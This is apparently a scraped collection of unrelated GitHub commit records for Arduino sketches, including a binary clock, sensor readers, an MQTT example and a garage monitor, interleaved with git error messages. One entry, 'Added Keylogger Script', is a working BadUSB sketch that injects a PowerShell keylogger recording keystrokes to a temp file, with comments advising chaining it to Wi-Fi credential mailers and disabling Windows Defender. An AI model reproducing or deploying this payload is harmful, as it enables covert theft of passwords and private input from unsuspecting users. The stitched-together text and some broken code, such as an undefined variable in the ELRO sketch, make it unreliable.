Create base2clock7.ino

Create base2clock7.ino

Created for compatibility with dumb smart phone.

/***************************
*
* base 2 clock code for arduino
* Copyleft (C) 2015 Daniel K. Spicer
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
****************************/

// adjust this value to tune the clock. 10,000 should be close, lower if clock runs slow, higher if fast.
// #define INTERVAL_TIME 9991 slightly slow
// #define INTERVAL_TIME 9990 very slightly slow

#define INTERVAL_TIME 9993

// fine tune here after establishing an INTERVAL_TIME which is slighly slow and if you decrease by one it
// will be fast. The higher this number the faster. If 99 is still too slow, drop INTERVAL_TIME by one.

#define PERCENT_FASTER 1

//int's representing led's. 1 = on, 0 = off. Initially they will all be off.
int p1,p2,p3,p4,p5,p6,p7,p8 = 0;
int iterations, count, time_count = 0;
int interval_time = INTERVAL_TIME;
boolean time_set, increment_flg = false;
unsigned long mils, prev_mils = 0;

// function prototypes
void setTimeSlow();
void setTimeFast();
void resetTimeSetFlags();
boolean setIncrementFlag();
void doIncrement();
void lightLights();

void setup(){
//8 led's as outputs.
  pinMode(13, OUTPUT);
  pinMode(12, OUTPUT);
  pinMode(11, OUTPUT);
  pinMode(10, OUTPUT);
  pinMode(9, OUTPUT);
  pinMode(8, OUTPUT);
  pinMode(7, OUTPUT);
  pinMode(6, OUTPUT);

  pinMode(2, INPUT);
  digitalWrite(2, HIGH);
  pinMode(3, INPUT);
  digitalWrite(3, HIGH);

  attachInterrupt(0, setTimeSlow , LOW); // pin 2
  attachInterrupt(1, setTimeFast , LOW); // pin 3

  prev_mils = millis();

} // end setup()

void loop(){
  if(time_set){ //time has been set, so increment as instructed.
    time_count++;
    if(time_count == 1000 - (10*PERCENT_FASTER))
     interval_time -= 1;
    if(time_count >= 1000){
     time_count = 0;
     interval_time = INTERVAL_TIME;
    }

    iterations++;
    if(iterations == 6){
      iterations = 0;
      if(!setIncrementFlag())
        doIncrement();
    }
  } else { // time has never been set so just blink the lights.
    if(p8 == 0)
      p8 = p7 = p6 = p5 = p4 = p3 = p2 = p1 = 1;
    else
      p8 = p7 = p6 = p5 = p4 = p3 = p2 = p1 = 0;
    lightLights();
  }

  // figure out the loop delay, typically 10 seconds, 1 second if the time has never been set
  // and we are blinking the lights
  if(!time_set)
    delay(1000);
  else delay(interval_time);
} // end loop()

void setTimeSlow(){
  resetTimeSetFlags();
  mils = millis();
  if(mils - prev_mils > 50)
    doIncrement();
  prev_mils = mils;
}

void setTimeFast(){
  resetTimeSetFlags();
  count++;
  if(count > 5000){
    count = 0;
    doIncrement();
  }
}

void resetTimeSetFlags(){
  time_set = true;
  iterations = 0;
  increment_flg = false;
}

boolean setIncrementFlag(){
  if(increment_flg == false && (p8 == 0 || p7 == 0 || p6 == 0)){
    increment_flg = true;
    return true;
  }
  return false;
}

void doIncrement(){
  increment_flg = false;

  if(p8 == 0){
    p8 = 1;
  }
  else if (p7 == 0){
    p7 = 1;
    p8 = 0;
  }
  else if (p6 == 0){
    p6 = 1;
    p8 = p7 = 0;
  }
  else if (p5 == 0){
    p5 = 1;
    p8 = p7 = p6 = 0;
  }
  else if (p4 == 0){
    p4 = 1;
    p8 = p7 = p6 = p5 = 0;
  }
  else if (p3 == 0){
    p3 = 1;
    p8 = p7 = p6 = p5 = p4 = 0;
  }
  else if (p2 == 0){
    p2 = 1;
    p8 = p7 = p6 = p5 = p4 = p3 = 0;
  }
  else if (p1 == 0){
    p1 = 1;
    p8 = p7 = p6 = p5 = p4 = p3 = p2 = 0;
  }
  else { // all lights were lit, so this increment resets them to all off
    p8 = p7 = p6 = p5 = p4 = p3 = p2 = p1 = 0;
  }

  lightLights();
} // end doIncrement()

void lightLights() {
  if(p1 == 1)
    digitalWrite(13, HIGH);
  else
    digitalWrite(13, LOW);
  if(p2 == 1)
    digitalWrite(12, HIGH);
  else
    digitalWrite(12, LOW);
  if(p3 == 1)
    digitalWrite(11, HIGH);
  else
    digitalWrite(11, LOW);
  if(p4 == 1)
    digitalWrite(10, HIGH);
  else
    digitalWrite(10, LOW);
  if(p5 == 1)
    digitalWrite(9, HIGH);
  else
    digitalWrite(9, LOW);
  if(p6 == 1)
    digitalWrite(8, HIGH);
  else
    digitalWrite(8, LOW);
  if(p7 == 1)
    digitalWrite(7, HIGH);
  else
    digitalWrite(7, LOW);
  if(p8 == 1)
    digitalWrite(6, HIGH);
  else
    digitalWrite(6, LOW);
} // end lightLights()

error: pathspec 'base2clock7.ino' did not match any file(s) known to git


Elro Sender

Elro Sender

#include <RemoteReceiver.h>
#include "SocketIOClient.h"
#include "Ethernet.h"
#include "SPI.h"
#include <string.h>

// Used for the ElRO remote functionality
const int transmitterAddress = 12;
const int transmitterPin = 7;
const int transmitterPeriod = 320;
const int transmitterTimes = 320;

NewRemoteTransmitter transmitter(transmitterPin, transmitterPeriod, transmitterTimes);

// Ethernet details
byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };
char hostname[] = "ardnmtn.barthopster.nl";
int port = 8181;

SocketIOClient client;

void setup() {
  Serial.begin(57600);

  // Init the Ethernet shield
  Ethernet.begin(mac);

  // Connect!
  if (!client.connect(hostname, port))
    Serial.println("Not connected.");

  // Catch any received data
  client.setDataArrivedDelegate(onData);

  // Second handshake
  client.send("Say welcome");
}

void loop() {
  client.monitor();
}

// Websocket message handler
void onData(SocketIOClient client, char *data) {
  char lightChar;

  // Light 1
  if(strstr(data, "1")) {
    lightChar = 'A';
  }

  // Light 2
  if(strstr(data, "2")) {
    lightChar = 'B';
  }

  // Light 3
  if(strstr(data, "3")) {
    lightChar = 'C';
  }

  // Light 4
  if(strstr(data, "4")) {
    lightChar = 'D';
  }

  // Turn on the light
  if(strstr(data, "on")) {
    transmitter.sendUnit(lightNumber, true);
  } else { // Turn off
    transmitter.sendUnit(lightNumber, false);
  }
}

error: pathspec 'Arduino/ELROSender/ELROSender.ino' did not match any file(s) known to git


Create Attiny_slave.ino

Create Attiny_slave.ino

// https://thewanderingengineer.com/2014/02/17/attiny-i2c-slave/
// Code for the ATtiny85

#define I2C_SLAVE_ADDRESS 0x4 // Address of the slave

#include <TinyWireS.h>

int i=0;

void setup()
{
    TinyWireS.begin(I2C_SLAVE_ADDRESS); // join i2c network
    //TinyWireS.onReceive(receiveEvent); // not using this
    TinyWireS.onRequest(requestEvent);

    // Turn on LED when program starts
    pinMode(1, OUTPUT);
    digitalWrite(1, HIGH);

}

void loop()
{
    // This needs to be here
    TinyWireS_stop_check();
}

// Gets called when the ATtiny receives an i2c request
void requestEvent()
{
    TinyWireS.send(i);
    i++;
}

error: pathspec 'Modules/i2c_test/Attiny_slave.ino' did not match any file(s) known to git


Adding arduino sketch

Adding arduino sketch

// this programs exists solely because the imp can't power the relay.

int R1 = 7;
int RIN = 2;

void setup()  {
  pinMode(R1, OUTPUT);
  pinMode(RIN, INPUT);
}

void loop()  {
  if (digitalRead(RIN) == HIGH) {
    digitalWrite(R1,HIGH);
  } else {
    digitalWrite(R1,LOW);
  }
}

error: pathspec 'sketch.ino' did not match any file(s) known to git


Create Airfoil.ino

Create Airfoil.ino

//switch mux to channel 15 and read the value
 //int val = readMux(15);

//Mux control top pins
int t0 = D0;
int t1 = D1;
int t2 = D2;
int t3 = D3;
//Mux control bottom pins
int b0 = D4;
int b1 = D5;
int b2 = D6;
int b3 = D7;
int vals[32];
double ang=0.0;
//Mux in "SIG" pin
int topSig = A1;
//Mux in "SIG" pin
int botSig = A0;
int inclinometer = A2;
int topControl[] = {t0, t1, t2, t3};
int bottomControl[] = {b0, b1, b2, b3};
double avg = 1000.0;
int muxChannel[16][4]={
    {0,0,0,0}, //channel 0
    {1,0,0,0}, //channel 1
    {0,1,0,0}, //channel 2
    {1,1,0,0}, //channel 3
    {0,0,1,0}, //channel 4
    {1,0,1,0}, //channel 5
    {0,1,1,0}, //channel 6
    {1,1,1,0}, //channel 7
    {0,0,0,1}, //channel 8
    {1,0,0,1}, //channel 9
    {0,1,0,1}, //channel 10
    {1,1,0,1}, //channel 11
    {0,0,1,1}, //channel 12
    {1,0,1,1}, //channel 13
    {0,1,1,1}, //channel 14
    {1,1,1,1}  //channel 15
  };

char allPressures[621];
char temp[621];

void setup(){
  pinMode(t0, OUTPUT);
  pinMode(t1, OUTPUT);
  pinMode(t2, OUTPUT);
  pinMode(t3, OUTPUT);

  pinMode(b0, OUTPUT);
  pinMode(b1, OUTPUT);
  pinMode(b2, OUTPUT);
  pinMode(b3, OUTPUT);

  pinMode(topSig,INPUT);
  pinMode(botSig,INPUT);

  digitalWrite(t0, LOW);
  digitalWrite(t1, LOW);
  digitalWrite(t2, LOW);
  digitalWrite(t3, LOW);

  digitalWrite(b0, LOW);
  digitalWrite(b1, LOW);
  digitalWrite(b2, LOW);
  digitalWrite(b3, LOW);

  for(int i = 0; i < 32; i ++){
      vals[i]=0;
  }
  Spark.variable("Pressure",allPressures,STRING);
  Spark.function("getPressure",getP);
  Spark.variable("Angle",&ang,DOUBLE);
}

void loop(){
      for(int i = 0; i < 32; i ++){
      vals[i]=0;
  }
  //Loop through and read all 32 values
  //Reports back Value at channel 6 is: 346
  for(int t = 0; t< avg;t++){
  for(int i = 0; i < 16; i++){
    vals[i] += (double)readMux(0,i);
    vals[i+16] += (double)readMux(1,i);
  }
}
    sprintf(allPressures,"");
    sprintf(temp,"");
    for(int i = 0; i < 31; i ++){
    sprintf(temp,"%s",allPressures);
    sprintf(allPressures,"%s%d,",temp,round(vals[i]/avg));
  }
    sprintf(temp,"%s",allPressures);
    sprintf(allPressures,"%s%d",temp,round(vals[31]/avg));

    int temp = analogRead(inclinometer);
    ang = (((double)temp/4095.0-0.5)*2.0+0.01)/0.2;

}

int readMux(bool isTop, int channel){
  //loop through the 4 sig
  for(int i = 0; i < 4; i ++){
    digitalWrite(topControl[i], muxChannel[channel][i]);
    digitalWrite(bottomControl[i], muxChannel[channel][i]);
  }

  //read the value at the SIG pin
  int val;
  if(isTop)
  {
  val = analogRead(topSig);
  }
  else
  {
  val = analogRead(botSig);
  }
  //return the value
  return val;
}

int getP(String args)
{
    bool isT;
    int channel = args.toInt();
    if(channel>=0 && channel<32)
    {
        isT = 0;
        if(channel>15)
        {
            isT =1;
            channel =channel-16;
        }
        return readMux(isT,channel);
    }
    else
    {
        return -1;
    }

}

error: pathspec 'Airfoil.ino' did not match any file(s) known to git


Dodano odczyty temperatury

Dodano odczyty temperatury

const int pinTermometru = 0;
void setup() {
Serial.begin(9600);

}

float odczyt_temperatury(){
float temperatura;
temperatura = (analogRead(pinTermometru)/1024.0)*500;
temperatura = temperatura - 276;
return temperatura;
}

void loop() {
Serial.println(odczyt_temperatury());
delay(1000);
}

error: pathspec 'Odczyty.ino' did not match any file(s) known to git


small change

small change

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/TEAMarg/ID-47-Helmets-Hordes.git/'


Adds arduino code for current implementation

Now reads 3 pins

/*
* Generate a 1Khz square wave on pin 3
* Read analog voltage on pin 0,1,2 send to serial port every 3 seconds
*/

const int analogInPin0 = A0; // Analog input pin
const int analogInPin1 = A1; // Analog input pin
const int analogInPin2 = A2; // Analog input pin

int sensorValue0 = 0;
int sensorValue1 = 0;
int sensorValue2 = 0;

void setup() {

// initialize serial communications at 9600 bps:

Serial.begin(9600);

// set pwm registers for approx 1Khz
pinMode(3, OUTPUT);
pinMode(11, OUTPUT);
TCCR2A = _BV(COM2A1) | _BV(COM2B1) | _BV(WGM21) | _BV(WGM20);
TCCR2B = _BV(CS22);
OCR2A = 180;
OCR2B = 50;
}

void loop() {
// read the analog pins
sensorValue0 = analogRead(analogInPin0);
delay(4);
sensorValue1 = analogRead(analogInPin1);
delay(4);
sensorValue2 = analogRead(analogInPin2);
delay(4);

// print the results to the serial monitor:

Serial.print("sensorValue0 = " );
Serial.println(sensorValue0);

Serial.print("sensorValue1 = " );
Serial.println(sensorValue1);

Serial.print("sensorValue2 = " );
Serial.println(sensorValue2);

// wait 3 seconds before the next readings

delay(3000-12);
}

error: pathspec 'conair_arduino.ino' did not match any file(s) known to git


Add example sketch for testing out "will" messages

/*
 MQTT "will" message example

  - connects to an MQTT server with a will message
  - publishes a message
  - waits a little bit
  - disconnects the socket *without* sending a disconnect packet

  You should see the will message published when we disconnect
*/

#include <ESP8266WiFi.h>
#include <PubSubClient.h>

const char *ssid =	"xxxxxxxx";		// cannot be longer than 32 characters!
const char *pass =	"yyyyyyyy";		//

// Update these with values suitable for your network.
IPAddress server(172, 16, 0, 2);

WiFiClient wclient;
PubSubClient client(wclient, server);

void setup() {
  // Setup console
  Serial.begin(115200);
  delay(10);
  Serial.println();
  Serial.println();
}

void loop() {
  delay(1000);

  if (WiFi.status() != WL_CONNECTED) {
    Serial.print("Connecting to ");
    Serial.print(ssid);
    Serial.println("...");
    WiFi.begin(ssid, pass);

    if (WiFi.waitForConnectResult() != WL_CONNECTED)
      return;
    Serial.println("WiFi connected");
  }

  if (WiFi.status() == WL_CONNECTED) {
    MQTT::Connect con("arduinoClient");
    con.set_will("test", "I am down.");
    // Or to set a binary message:
    // char msg[4] = { 0xde, 0xad, 0xbe, 0xef };
    // con.set_will("test", msg, 4);
    if (client.connect(con)) {
      client.publish("test", "I am up!");
      delay(1000);
      wclient.stop();
    } else
      Serial.println("MQTT connection failed.");

    delay(10000);
  }
}

error: pathspec 'examples/mqtt_will/mqtt_will.ino' did not match any file(s) known to git


change goal facing direction; Change exploration flow;

error: pathspec 'exploration' did not match any file(s) known to git
error: pathspec 'testing/src/main.ino' did not match any file(s) known to git


run autoformat in the example

run autoformat in the example

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/bsmr-arduino/Arduino.git/'


First steps with 4-digit numeric display

const int DIGIT_1_PIN = 3;
const int DIGIT_2_PIN = 5;
const int DIGIT_3_PIN = 6;
const int DIGIT_4_PIN = 9;

const int SEGMENT_A_PIN = 2;
const int SEGMENT_B_PIN = 8;
const int SEGMENT_C_PIN = 10;
const int SEGMENT_D_PIN = 11;
const int SEGMENT_E_PIN = 12;
const int SEGMENT_F_PIN = 7;
const int SEGMENT_G_PIN = 13;

void setup() {
  pinMode(DIGIT_1_PIN, OUTPUT);
  pinMode(DIGIT_2_PIN, OUTPUT);
  pinMode(DIGIT_3_PIN, OUTPUT);
  pinMode(DIGIT_4_PIN, OUTPUT);

  pinMode(SEGMENT_A_PIN, OUTPUT);
  pinMode(SEGMENT_B_PIN, OUTPUT);
  pinMode(SEGMENT_C_PIN, OUTPUT);
  pinMode(SEGMENT_D_PIN, OUTPUT);
  pinMode(SEGMENT_E_PIN, OUTPUT);
  pinMode(SEGMENT_F_PIN, OUTPUT);
  pinMode(SEGMENT_G_PIN, OUTPUT);

  digitalWrite(DIGIT_1_PIN, HIGH);
  digitalWrite(DIGIT_2_PIN, HIGH);
  digitalWrite(DIGIT_3_PIN, HIGH);
  digitalWrite(DIGIT_4_PIN, LOW);
  digitalWrite(SEGMENT_A_PIN, HIGH);
  digitalWrite(SEGMENT_B_PIN, HIGH);
  digitalWrite(SEGMENT_C_PIN, HIGH);
  digitalWrite(SEGMENT_D_PIN, HIGH);
  digitalWrite(SEGMENT_E_PIN, HIGH);
  digitalWrite(SEGMENT_F_PIN, HIGH);
  digitalWrite(SEGMENT_G_PIN, HIGH);
}

void loop() {
  // put your main code here, to run repeatedly:

}

error: pathspec 'digit4/digit4.ino' did not match any file(s) known to git


Added more debug output

Added more debug output

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/mcrosson/arduino_safe_lighting.git/'


Updated 01b-Free Run code.

Updated 01b-Free Run code.

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/lenzjo/MBC.git/'


Added retry logic to data submission Optimised the code a bit Added ping support for MQTT

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/rniemand/ArduinoProjects.git/'


Adds sketch for reading gas sensor and lighting LED

#define GASPIN 11

float maxGas = 1.5;
float minGas = 0.1;
void setup() {
  Serial.begin(9600);
  init_gas_sensor();
//  analogWrite(6, 255);
}

void init_gas_sensor(){
  pinMode(GASPIN, OUTPUT);
}

float read_gas_sensor() {
  float gas;
  int sensorValue = analogRead(A0);
  gas=(float) sensorValue/1024*5.0;
  float scaledGas = (gas - minGas) / maxGas;
  scaledGas = max(scaledGas, 0) * 255;
  return scaledGas;

}

void loop(){
  float gaslevel = read_gas_sensor();
  analogWrite(GASPIN, gaslevel);
  Serial.print(gaslevel);
}

error: pathspec 'arduino/gas_sensor/gas_sensor.ino' did not match any file(s) known to git


Added Keylogger Script

Added Keylogger Script

/*
 *  This DigiKeyboard Script runs dasgoll's Powershell keylogger (https://gist.github.com/dasgoll/7ca1c059dd3b3fbc7277)
 * for a predefined number of seconds ($timeoutSeconds) and saves the results to mykeypress.txt in
 * APPDATA\Local\Temp\mykeypresses.txt. Feel free to chain this script with the logic in WiFi_Profile_Grabber or
 * WiFi_Profile_Mailer to retrieve the results.
 *
 * WARNING: Windows Defender is able to detect this so you will have to chain this after a script disabling Windows Defender.
  */

#include "DigiKeyboard.h"
void setup() {
  //empty
}
void loop() {
  // Open Powershell
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("powershell");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(5000);

  // Write Keylogger Function
  DigiKeyboard.print(F("$code = {function My-Keypresses($Path=\"$env:temp\\mykeypress.txt\") \n{\n  $signatures = @\'\n[DllImport(\"user32.dll\", CharSet=CharSet.Auto, ExactSpelling=true)] \npublic static extern short GetAsyncKeyState(int virtualKeyCode); \n[DllImport(\"user32.dll\", CharSet=CharSet.Auto)]\npublic static extern int GetKeyboardState(byte[] keystate);\n[DllImport(\"user32.dll\", CharSet=CharSet.Auto)]\npublic static extern int MapVirtualKey(uint uCode, int uMapType);\n[DllImport(\"user32.dll\", CharSet=CharSet.Auto)]\npublic static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);\n\'@\n\n  $API = Add-Type -MemberDefinition $signatures -Name \'Win32\' -Namespace API -PassThru\n    \n  $null = New-Item -Path $Path -ItemType File -Force\n\n  try\n  {\n\n    while ($true) {\n      Start-Sleep -Milliseconds 40\n      \n      for ($ascii = 9; $ascii -le 254; $ascii++) {\n        $state = $API::GetAsyncKeyState($ascii)\n\n        if ($state -eq -32767) {\n          $null = [console]::CapsLock\n\n          $virtualKey = $API::MapVirtualKey($ascii, 3)\n\n          $kbstate = New-Object Byte[] 256\n          $checkkbstate = $API::GetKeyboardState($kbstate)\n\n          $mychar = New-Object -TypeName System.Text.StringBuilder\n\n          $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)\n\n          if ($success) \n          {\n            [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) \n          }\n        }\n      }\n    }\n  }\n  finally\n  {\n  }\n}}; $timeoutSeconds = 10; $j = Start-Job -ScriptBlock $code; if (Wait-Job $j -Timeout $timeoutSeconds) { Receive-Job $j }; Remove-Job -force $j"));
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  for(;;){ /*empty*/ }
}

error: pathspec 'Keylogger/Κeylogger.ino' did not match any file(s) known to git


Add temperature examples

Add temperature examples

// Include the libraries we need
#include <OneWire.h>
#include <DallasTemperature.h>

// Data wire is plugged into port 2 on the Arduino
#define ONE_WIRE_BUS 2

// Setup a oneWire instance to communicate with any OneWire devices (not just Maxim/Dallas temperature ICs)
OneWire oneWire(ONE_WIRE_BUS);

// Pass our oneWire reference to Dallas Temperature.
DallasTemperature sensors(&oneWire);

/*
 * The setup function. We only start the sensors here
 */
void setup(void)
{
  // start serial port
  Serial.begin(9600);
  Serial.println("Dallas Temperature IC Control Library Demo");

  // Start up the library
  sensors.begin();
}

/*
 * Main function, get and show the temperature
 */
void loop(void)
{
  // call sensors.requestTemperatures() to issue a global temperature
  // request to all devices on the bus
  Serial.print("Requesting temperatures...");
  sensors.requestTemperatures(); // Send the command to get temperatures
  Serial.println("DONE");
  // After we got the temperatures, we can print them here.
  // We use the function ByIndex, and as an example get the temperature from the first sensor only.
  Serial.print("Temperature for the device 1 (index 0) is: ");
  Serial.println(sensors.getTempCByIndex(0));
  delay(500);
}

error: pathspec 'chapter5/temperature/temperature.ino' did not match any file(s) known to git


Theft detection

Theft detection

Theft detection is implemented.

#include "CurieIMU.h"

int avgX = 0;
int avgY = 0;
int avgZ = 0;
//int count = 0;

boolean alert = 0;
boolean theft = 0;
// Functions
void setReference();
/*************************************************************
  Setup Function
*************************************************************/
void setup() {
  Serial.begin(9600); // initialize Serial communication
  Serial1.begin(9600); // initialize serial communication for BT

  // initialize device
  Serial1.println("Initializing IMU device...");
  CurieIMU.begin();

  // Set the accelerometer range to 3G
  CurieIMU.setAccelerometerRange(3);
  delay(1000);
}
/*************************************************************
  Loop Function
*************************************************************/
void loop() {
  if (Serial1.available() > 0) {
    char ch = Serial1.read();
    if (ch == '1' && alert == 0) {
      // Calculate reference
      setReference();
      alert = 1;
    } else if (ch == '0') {
      alert = 0;
      theft = 0;
      Serial1.println("Reseting. . .");
    }
  }

  if (alert == 1) {
    int x = abs(abs(CurieIMU.readAccelerometer(X_AXIS)) - avgX);
    int y = abs(abs(CurieIMU.readAccelerometer(Y_AXIS)) - avgY);
    int z = abs(abs(CurieIMU.readAccelerometer(Z_AXIS)) - avgZ);
    int s = (x + y + z) / 3;
    Serial1.print("Curret position: ");
    Serial1.print("\t");
    Serial1.println(s);
    if (s > 1000) {
      theft = 1;
      Serial1.println("ALERT");
      Serial1.println();
    }
  }

  while(theft) {
    digitalWrite(13, HIGH);
    if (Serial1.available() > 0 && Serial1.read() == '0') {
      alert = 0;
      theft = 0;
      Serial1.println("Reseting. . .");
    }
  }
  digitalWrite(13, LOW);
  delay(50);
}
/*************************************************************
  setReference Function
*************************************************************/
void setReference() {
  long sumX = 0;
  long sumY = 0;
  long sumZ = 0;
  // Calculate reference position
  for (int i = 0; i < 1000; i++) {
    int x = abs(CurieIMU.readAccelerometer(X_AXIS));
    int y = abs(CurieIMU.readAccelerometer(Y_AXIS));
    int z = abs(CurieIMU.readAccelerometer(Z_AXIS));
    sumX += x;
    sumY += y;
    sumZ += z;
  }
  avgX = sumX / 1000;
  avgY = sumY / 1000;
  avgZ = sumZ / 1000;
  Serial1.print("Reference position: ");
  Serial1.print("\t");
  Serial1.print(avgX);
  Serial1.print("\t");
  Serial1.print(avgY);
  Serial1.print("\t");
  Serial1.println(avgZ);
  Serial1.println();
}

error: pathspec 'Arduino/Tracky/Tracky.ino' did not match any file(s) known to git


Create compressedDemo.ino

Create compressedDemo.ino

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/TEAMarg/drawCompressed.git/'


add garage status monitor

add garage status monitor

// This #include statement was automatically added by the Particle IDE.
#include "SparkJson/SparkJson.h"

// This #include statement was automatically added by the Particle IDE.
#include "neopixel/neopixel.h"

#include <string.h>

// ---- CHANGE THIS ----
#define PIXEL_PIN D1
#define PIXEL_COUNT 2
#define PIXEL_TYPE WS2812B

Adafruit_NeoPixel strip = Adafruit_NeoPixel(PIXEL_COUNT, PIXEL_PIN, PIXEL_TYPE);

int doorState = -1;

// IMPORTANT: To reduce NeoPixel burnout risk, add 1000 uF capacitor across
// pixel power leads, add 300 - 500 Ohm resistor on first pixel's data input
// and minimize distance between Arduino and first pixel.  Avoid connecting
// on a live circuit...if you must, connect GND first.

void setup() {
  Serial.begin(9600);
  strip.begin();
  strip.show(); // Initialize all pixels to 'off'
  Particle.subscribe("garage/open", eventHandler);
  Serial.println("I'm booted!");
}

void loop() {
  if (Particle.connected() == false) {
    Particle.connect();
  }
  Particle.process();

  if (doorState == 1) {
    fireRing(200);
  } else if (doorState == 0) {
    iceRing(200);
  }
}

void eventHandler(const char *event, const char *data) {
    // Parse the event as json into something structured so we can react to it.
    // Saved by example!
    // https://github.com/glowfishAPI/glowfish-particle/blob/master/firmware/examples/anomaly-detect-webhook/anomaly-detect-webhook.ino
    int len = strlen(data);
    char dataCopy[len+1];
    strcpy(dataCopy, data);

    StaticJsonBuffer<500> jsonBuffer;
    JsonObject& json = jsonBuffer.parseObject(dataCopy);

    if (json["door_open"] == true) {
        Serial.println("door is open.");
        doorState = 1;
    }

    if (json["door_open"] == false) {
        Serial.println("door is closed.");
        doorState = 0;
    }

}

// Fill the dots one after the other with a color
void colorWipe(uint32_t c, uint8_t wait) {
  for(uint16_t i=0; i<strip.numPixels(); i++) {
      strip.setPixelColor(i, c);
      strip.show();
      delay(wait);
  }
}

void fireRing(uint16_t wait) {
  uint16_t i, j;
  int colorStart = 95;  // a pure red
  int colorEnd = 125;    // the led starts to blink purple

  for(j=colorStart; j<colorEnd; j++) {
    for(i=0; i<strip.numPixels(); i++) {
      strip.setPixelColor(i, Wheel(j & 255));
    }
    strip.show();
    delay(wait);
  }
  for(j=colorEnd; j>colorStart; j--) {
    for(i=0; i<strip.numPixels(); i++) {
      strip.setPixelColor(i, Wheel(j & 255));
    }
    strip.show();
    delay(wait);
  }

}

void iceRing(uint16_t wait) {
  uint16_t i, j;
  int colorStart = 166;
  int colorEnd = 199;

  for(j=colorStart; j<colorEnd; j++) {
    for(i=0; i<strip.numPixels(); i++) {
      strip.setPixelColor(i, Wheel(j & 255));
    }
    strip.show();
    delay(wait);
  }
  for(j=colorEnd; j>colorStart; j--) {
    for(i=0; i<strip.numPixels(); i++) {
      strip.setPixelColor(i, Wheel(j & 255));
    }
    strip.show();
    delay(wait);
  }

}

// Input a value 0 to 255 to get a color value.
// The colours are a transition r - g - b - back to r.
uint32_t Wheel(byte WheelPos) {
  if(WheelPos < 85) {
   return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);
  } else if(WheelPos < 170) {
   WheelPos -= 85;
   return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);
  } else {
   WheelPos -= 170;
   return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);
  }
}

error: pathspec 'garage_status.ino' did not match any file(s) known to git


add textBounds sample proguram

add textBounds sample proguram

#include "Adafruit_GFX.h"
#include "Adafruit_ILI9341.h"
#include "Humblesoft_ILI9341.h"

IMPORT_BIN("fontx/ILGH16XB.FNT", font_h);
IMPORT_BIN("fontx/ILGZ16XB.FNT", font_z);

extern uint8_t font_h[], font_z[];

Humblesoft_ILI9341 tft = Humblesoft_ILI9341();

static void dump_var(const char *name, uint32_t value)
{
  Serial.print(name);
  Serial.print("=0x");
  Serial.print(value,16);
  Serial.println();
}

void drawTextAndBounds(int16_t cx, int16_t cy, char *str)
{
  int16_t x, y;
  uint16_t w, h;

  tft.getTextBounds(str, cx, cy, &x, &y, &w, &h);
  dump_var("x",x);
  dump_var("y",y);
  dump_var("w",w);
  dump_var("h",h);

  tft.drawRect(x, y, w, h, ILI9341_RED);
  tft.setCursor(cx, cy);
  tft.print(str);
}

void drawTextAndBounds(int16_t cx, int16_t cy, const __FlashStringHelper *s)
{
  int16_t x, y;
  uint16_t w, h;

  tft.getTextBounds(s, cx, cy, &x, &y, &w, &h);
  dump_var("x",x);
  dump_var("y",y);
  dump_var("w",w);
  dump_var("h",h);

  tft.drawRect(x, y, w, h, ILI9341_GREEN);
  tft.setCursor(cx, cy);
  tft.print(s);
}

void setup()
{
  char s1[]="ABC";
  char k1[]="日本語";

  Serial.begin(19200);
  delay(100);
  Serial.println("\n\nReset:");

  tft.begin();
  tft.setRotation(3);
  tft.fillScreen(ILI9341_BLACK);
#if 1
  tft.setTextSize(4);
  drawTextAndBounds(5, 10, s1);

  tft.setTextSize(2);
  drawTextAndBounds(5, 50, F("Hello\nWorld"));

  tft.setFontx(font_z, font_h);
  tft.setTextSize(2);
  drawTextAndBounds(160,10, F("漢字"));

  drawTextAndBounds(160,40, k1);

  tft.setTextSize(0);
  drawTextAndBounds(0,100, F("1行目\n２行目"));

  drawTextAndBounds(160,160, F("line wrap test. Very long line."));
#else
  tft.setFontx(font_z, font_h);
  drawTextAndBounds(300,160, F("abcd"));
#endif
}

void loop()
{
}

error: pathspec 'examples/textBounds/textBounds.ino' did not match any file(s) known to git


Basic example to build on for UART

Basic example to build on for UART

Uses the serial communication library for arduino, initializes UART,
reads from the UNO's ADC and sets PWM output a well.

/*
